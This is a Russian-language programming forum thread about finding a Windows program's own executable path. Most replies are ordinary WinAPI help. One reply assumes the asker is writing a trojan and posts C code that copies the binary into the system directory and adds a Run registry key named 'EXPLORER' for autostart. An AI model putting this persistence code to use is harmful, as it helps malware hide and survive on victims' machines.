получить имя исполняемого файла из командной строки
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
получить имя исполняемого файла из командной строки - 2007-08-07 17:29:18.903333
|
|
|
De}{is
Сообщений: 137
Оценки: 0
Присоединился: 2005-11-22 11:21:42
|
опять торможжу: WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { char *dist = lpCmdLine[0]; //борланд ругается //[C++ Error] Unit1.cpp(14): E2277 Lvalue required } шо за Lvalue?
|
|
|
RE: получить имя исполняемого файла из командной строки - 2007-08-07 17:34:50.643333
|
|
|
RamMerLabs
Сообщений: 615
Оценки: 0
Присоединился: 2007-04-06 23:05:13.516666
|
>>char *dist = lpCmdLine[0]; зачем lpCmdLine[0]? char *dist = lpCmdLine !!
|
|
|
RE: получить имя исполняемого файла из командной строки - 2007-08-07 18:07:04.213333
|
|
|
De}{is
Сообщений: 137
Оценки: 0
Присоединился: 2005-11-22 11:21:42
|
точно, но там пустая строка (нет пути файла, как ParamStr(0)) как узнать путь?
|
|
|
RE: получить имя исполняемого файла из командной строки - 2007-08-07 19:10:06.650000
|
|
|
Yashin
Сообщений: 964
Оценки: 0
Присоединился: 2007-05-09 20:18:01.153333
|
еще один неудачник из делфи. Я не знаю Си но могу тебе сказать точно что lpCmdLine это указатель на строку символов с завершающим нулем. А ParamStr(0) это делфовая функция которая эту самую строку парсит и выводит первый параметр.
|
|
|
RE: получить имя исполняемого файла из командной строки - 2007-08-08 09:21:10.296666
|
|
|
redsh
Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
|
Нафик из командной строки? char szAppName [MAX_PATH+1]; GetModuleFileName(NULL, szAppName, MAX_PATH);
|
|
|
RE: получить имя исполняемого файла из командной строки - 2007-08-08 12:23:44.630000
|
|
|
De}{is
Сообщений: 137
Оценки: 0
Присоединился: 2005-11-22 11:21:42
|
quote:
еще один неудачник из делфи к чему? я лично не понял . . . quote:
Я не знаю Си ну так и молчал бы уже quote:
могу тебе сказать точно что lpCmdLine это указатель на строку символов с завершающим нулем. А ParamStr(0) это делфовая функция которая эту самую строку парсит и выводит первый параметр. сие и без тебя было известно, привел бы исход этой функции - было бы дело а так стеб и вообще тут вопрос не по делфям и не по си а по ВинАпи 2redsh: сенкс
|
|
|
RE: получить имя исполняемого файла из командной строки - 2007-08-30 13:50:56.613333
|
|
|
int21h
Сообщений: 105
Оценки: 0
Присоединился: 2007-08-25 12:05:16.730000
|
Ты вероятно пишешь троя и тебе нужно скопировать его в системную папку и создать ключ в реестре … держи тулзу каторая узнает своё имя , скопирует себя в системную папку и создаст ключ в автозапуске системного реестра #include <windows.h> #include <windef.h> int main() { char str[256],sysbuf[256]; HKEY hk; GetModuleFileName(GetModuleHandle(NULL),str,256); GetSystemDirectory(sysbuf,256); strcat(sysbuf,"\\troj.exe"); CopyFile(str,sysbuf,true); RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk); RegSetValueEx(hk,"EXPLORER",0,REG_SZ,(LPBYTE)sysbuf, strlen(sysbuf) + 1); RegCloseKey(hk); return 0; }
|
|
|
RE: получить имя исполняемого файла из командной строки - 2007-08-30 15:55:04.580000
|
|
|
JTG
Сообщений: 1189
Оценки: 0
Присоединился: 2007-03-05 11:56:01.993333
|
quote:
А ParamStr(0) это делфовая функция которая эту самую строку парсит и выводит первый параметр. Не первый параметр, а полный путь к самому ехе GetModuleFileName самый разумный способ
|
|
|
|
|